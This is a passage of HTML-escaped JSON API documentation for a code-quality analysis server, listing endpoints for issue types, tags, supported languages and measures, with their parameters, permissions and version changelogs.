permissions:\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;Authentication\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Browse\u0026#39; rights on project of the specified issue\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;Administer Issues\u0026#39; rights on project of the specified issue\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;This endpoint is now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New type\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List tags matching a given query\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Max page size increased to 500\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Result doesn\u0026#39;t include rules tags anymore\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;all\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Indicator to search for all tags or only for tags in the main branch of a project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.2\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to tags that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;misra\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/languages\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the list of programming languages supported in this instance.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List supported programming languages\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The size of the list to return, 0 for all languages\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;25\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;A pattern to match language keys/names against\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/measures\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get components or children with specified measures.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return component with specified measures.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the project of specified component.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;new_blocker_violations\u0026#39;, \u0026#39;new_critical_violations\u0026#39;, \u0026#39;new_major_violations\u0026#39;, \u0026#39;new_minor_violations\u0026#39;, \u0026#39;new_info_violations\u0026#39;, \u0026#39;blocker_violations\u0026#39;, \u0026#39;critical_violations\u0026#39;, \u0026#39;major_violations\u0026#39;, \u0026#39;minor_violations\u0026#39;, \u0026#39;info_violations\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted values for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;new_maintainability_issues\u0026#39;, \u0026#39;new_reliability_issues\u0026#39;, \u0026#39;new_security_issues\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;bugs\u0026#39;, \u0026#39;new_bugs\u0026#39;, \u0026#39;vulnerabilities\u0026#39;, \u0026#39;new_vulnerabilities\u0026#39;, \u0026#39;code_smells\u0026#39;, \u0026#39;new_code_smells\u0026#39;, \u0026#39;high_impact_accepted_issues\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted values for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39;, \u0026#39;security_issues\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; are now deprecated in the response. Consume \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; values in \u0026#39;metricKeys\u0026#39; param are now deprecated. Use \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metric \u0026#39;wont_fix_issues\u0026#39; is now deprecated in the response. Consume \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;wont_fix_issues\u0026#39; value in \u0026#39;metricKeys\u0026#39; param is now deprecated. Use \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted value for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;accepted_issues\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metricKeys\u0026#39; parameter is not deprecated anymore: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods under measures field is removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the option `periods` of \u0026#39;additionalFields\u0026#39; request field is removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;When the new code period is set to \u0026#39;reference branch\u0026#39;, the response field \u0026#39;date\u0026#39; under the \u0026#39;period\u0026#39; field has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metricKeys\u0026#39; parameter is deprecated: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated response field \u0026#39;id\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated response field \u0026#39;refId\u0026#39; has been removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods under measures field is deprecated. Use period instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods is deprecated. Use period instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field \u0026#39;id\u0026#39; is deprecated. Use \u0026#39;key\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field \u0026#39;refId\u0026#39; is deprecated. Use \u0026#39;refKey\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;additionalFields\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of additional fields that can be returned in the response.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;period,metrics\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;metrics\u0026#34;, \u0026#34;period\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metricKeys\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of metric keys\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ncloc,complexity,violations\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;component_tree\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Navigate through components based on the chosen strategy with specified measures.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the specified project.\\u003Cbr\\u003EFor applications, it also requires \u0026#39;Browse\u0026#39; permission on its child projects. \\u003Cbr\\u003EWhen limiting search with the q parameter, directories are not returned.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted values for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;new_maintainability_issues\u0026#39;, \u0026#39;new_reliability_issues\u0026#39;, \u0026#39;new_security_issues\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;new_blocker_violations\u0026#39;, \u0026#39;new_critical_violations\u0026#39;, \u0026#39;new_major_violations\u0026#39;, \u0026#39;new_minor_violations\u0026#39;, \u0026#39;new_info_violations\u0026#39;, \u0026#39;blocker_violations\u0026#39;, \u0026#39;critical_violations\u0026#39;, \u0026#39;major_violations\u0026#39;, \u0026#39;minor_violations\u0026#39;, \u0026#39;info_violations\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted values for the \u0026#39;metricKeys\u0026#39; param: \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39;, \u0026#39;security_issues\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;bugs\u0026#39;, \u0026#39;new_bugs\u0026#39;, \u0026#39;vulnerabilities\u0026#39;, \u0026#39;new_vulnerabilities\u0026#39;, \u0026#39;code_smells\u0026#39;, \u0026#39;new_code_smells\u0026#39;, \u0026#39;high_impact_accepted_issues\u0026#39; are now deprecated without exact replacement. Use \u0026#39;maintainability_issues\u0026#39;, \u0026#39;reliability_issues\u0026#39; and \u0026#39;security_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metrics \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; are now deprecated in the response. Consume \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;open_issues\u0026#39;, \u0026#39;reopened_issues\u0026#39; and \u0026#39;confirmed_issues\u0026#39; values in \u0026#39;metricKeys\u0026#39; param are now deprecated. Use \u0026#39;violations\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The metric \u0026#39;wont_fix_issues\u0026#39; is now deprecated in the response. Consume \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;wont_fix_issues\u0026#39; value in \u0026#39;metricKeys\u0026#39; and \u0026#39;metricSort\u0026#39; params is now deprecated. Use \u0026#39;accepted_issues\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added new accepted value for the \u0026#39;metricKeys\u0026#39; and \u0026#39;metricSort\u0026#39; param: \u0026#39;accepted_issues\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;BRC\u0026#39; as value for parameter \u0026#39;qualifiers\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metricKeys\u0026#39; parameter is not deprecated anymore: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods under measures field is removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the option `periods` of \u0026#39;additionalFields\u0026#39; request field is removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of the following metrics in \u0026#39;metricKeys\u0026#39; parameter is deprecated: \u0026#39;releasability_effort\u0026#39;, \u0026#39;security_rating_effort\u0026#39;, \u0026#39;reliability_rating_effort\u0026#39;, \u0026#39;security_review_rating_effort\u0026#39;, \u0026#39;maintainability_rating_effort\u0026#39;, \u0026#39;last_change_on_maintainability_rating\u0026#39;, \u0026#39;last_change_on_releasability_rating\u0026#39;, \u0026#39;last_change_on_reliability_rating\u0026#39;, \u0026#39;last_change_on_security_rating\u0026#39;, \u0026#39;last_change_on_security_review_rating\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;parameter \u0026#39;component\u0026#39; is now required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated parameter \u0026#39;baseComponentId\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated parameter \u0026#39;baseComponentKey\u0026#39; has been removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated response field \u0026#39;id\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;deprecated response field \u0026#39;refId\u0026#39; has been removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods under measures field is deprecated. Use period instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field periods is deprecated. Use period instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;field \u0026#39;bestValue\u0026#39; is added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field \u0026#39;id\u0026#39; is deprecated. Use \u0026#39;key\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field \u0026#39;refId\u0026#39; is deprecated. Use \u0026#39;refKey\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Number of metric keys is limited to 15\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;additionalFields\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of additional fields that can be returned in the response.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;period,metrics\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;metrics\u0026#34;, \u0026#34;period\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key. The search is based on this component.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metricKeys\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of metric keys. Types DISTRIB are not allowed. For type DATA only reliability_issues, new_maintainability_issues, new_security_issues, new_reliability_issues, security_issues, maintainability_issues metrics are supported\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ncloc,complexity,violations\u0026#34;, \u0026#34;maxValuesAllowed\u0026#34;: 15 }, { \u0026#34;key\u0026#34;: \u0026#34;metricPeriodSort\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sort measures by leak period or not ?. The \u0026#39;s\u0026#39; parameter must contain the \u0026#39;metricPeriod\u0026#39; value.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;1\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;metricSort\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Metric key to sort by. The \u0026#39;s\u0026#39; parameter must contain the \u0026#39;metric\u0026#39; or \u0026#39;metricPeriod\u0026#39; value. It must be part of the \u0026#39;metricKeys\u0026#39; parameter\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;ncloc\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;metricSortFilter\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter components. Sort must be on a metric. Possible values are: \\u003Cul\\u003E\\u003Cli\\u003Eall: return all components\\u003C/li\\u003E\\u003Cli\\u003EwithMeasuresOnly: filter out components that do not have a measure on the sorted metric\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;all\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;withMeasuresOnly\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, 